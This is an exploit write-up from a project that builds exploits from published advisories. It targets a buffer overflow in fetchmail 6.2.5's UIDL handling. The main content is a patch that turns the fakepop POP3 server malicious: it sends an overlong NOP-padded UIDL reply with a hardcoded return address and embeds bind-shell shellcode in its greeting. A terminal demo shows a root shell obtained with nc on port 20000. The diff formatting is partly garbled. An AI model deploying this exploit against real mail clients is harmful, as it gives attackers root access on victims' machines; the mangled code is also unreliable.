Fetchmail 6.2.5 exploit for Bugtraq ID: 14349

The following exploit is brought to you by The Mantis Project which is a project geared towards learning the process of discovering and exploiting bugs in the wild. Exploits are based on published advisories which do not contain proof of concept code or unpublished findings. The project's purpose is to get a better understanding of wild bugs and the process of exploiting them while providing a resource to the community particularly penetration testers. So if you are interested in exploit development or just want to learn more about it feel free to join us on irc.pulltheplug.org #mantis or the mailing list at http://pulltheplug.org/cgi-bin/mailman/listinfo/mantis.

Special thanks to PullThePlug for hosting the project.

-------------------[exploit]-------------------

This patch is for fakepop version 7. fakepop is a fake pop3 server which is normally used to inform users of misconfigured clients.

Note: fakepop is ran by inetd

example:
<—+in terminal 1±–>

farenhiet:/home/bannedit/fetchmail-6.2.5# /usr/local/bin/fetchmail -p pop3 --fastuidl 1 localhost
fetchmail: removing stale lockfile
Enter password for root_at_localhost:
UIDL 2

<—+in terminal 2±–>

farenhiet:/home/bannedit/exploit# perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc localhost 20000
id
uid=0(root) gid=0(root) groups=0(root)

<----+patch for fakepop-7±–>

— fakepop-7/fakepop.c 2004-12-01 12:13:02.000000000 -0500
+++ fakepop.c 2005-08-29 18:45:01.096792176 -0400
@@ -29,7 +29,12 @@

if (strcasecmp ("stat", cmd) == 0) {
known = 1;

• printf("+OK %d %d\r\n", msg_gettotalmsgs(), msg_gettotalsize());

• printf("+OK 8 %d\r\n", msg_gettotalsize());

• }

• if(strcasecmp("last", cmd) == 0){

• known = 1;

• printf("-ERR 1\r\n");
  }

  if (strncasecmp ("list", cmd, 4) == 0) {
  @@ -56,25 +61,17 @@
  }

  if (strncasecmp ("uidl", cmd, 4) == 0) {

• char s[71];
• int i;
• known = 1;
• if (strlen(cmd) > 5) {
• /* single message uidl */
• i = atoi(cmd+5);
• id_get_uidl (i, s);
• printf("+OK %d %s\r\n",i,s);
• } else {
• /* all messages uidl */
• int j;
• j = msg_gettotalmsgs();
• printf("+OK\r\n");
• for (i = 1; i <= j; i++) {
• id_get_uidl (i, s);
• printf("%d %s\r\n",i,s);
• }
• printf(".\r\n");
• }

• known=1;

• char s[177]; //177

• long addy=0xbfffd702;

• int i=atoi(cmd+5);

• memset(s, 0x90, sizeof(s));

• (long)&s[sizeof(s)-5]=addy;

• s[sizeof(s)-1]='\0';

• printf("+OK %d %s\r\n",i+1,s);
  }

  if (strncasecmp ("retr", cmd, 4) == 0) {
  @@ -122,8 +119,21 @@

  msg_init();

• printf ("+OK fakepop V%s %s <1234.5678901234_at_fakepop.invalid>\r\n",
• PROGRAM_VERSION, URL);

• char sc[]=
• "\x31\xdb\x31\xc9\xf7\xe3"
• "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b"
• "\xcd\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1"
• "\xb0\xef\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0"
• "\x66\x43\x43\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd"
• "\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51"
• "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53"
• "\x89\xe1\xb0\xf4\xf6\xd0\xcd\x80";

+char buff[strlen(sc)+100];
+memset(buff, 0x90, sizeof(buff));
+memcpy(&buff[sizeof(buff)-strlen(sc)], sc, strlen(sc));

• printf ("+OK fakepop V%s %s %s <1234.5678901234_at_fakepop.invalid>\r\n",

• PROGRAM_VERSION, URL, sc);
  fflush(stdout);

  while ((running == 1) && (fgets(cmd, CMD_MAX_SIZE, stdin) != NULL)) {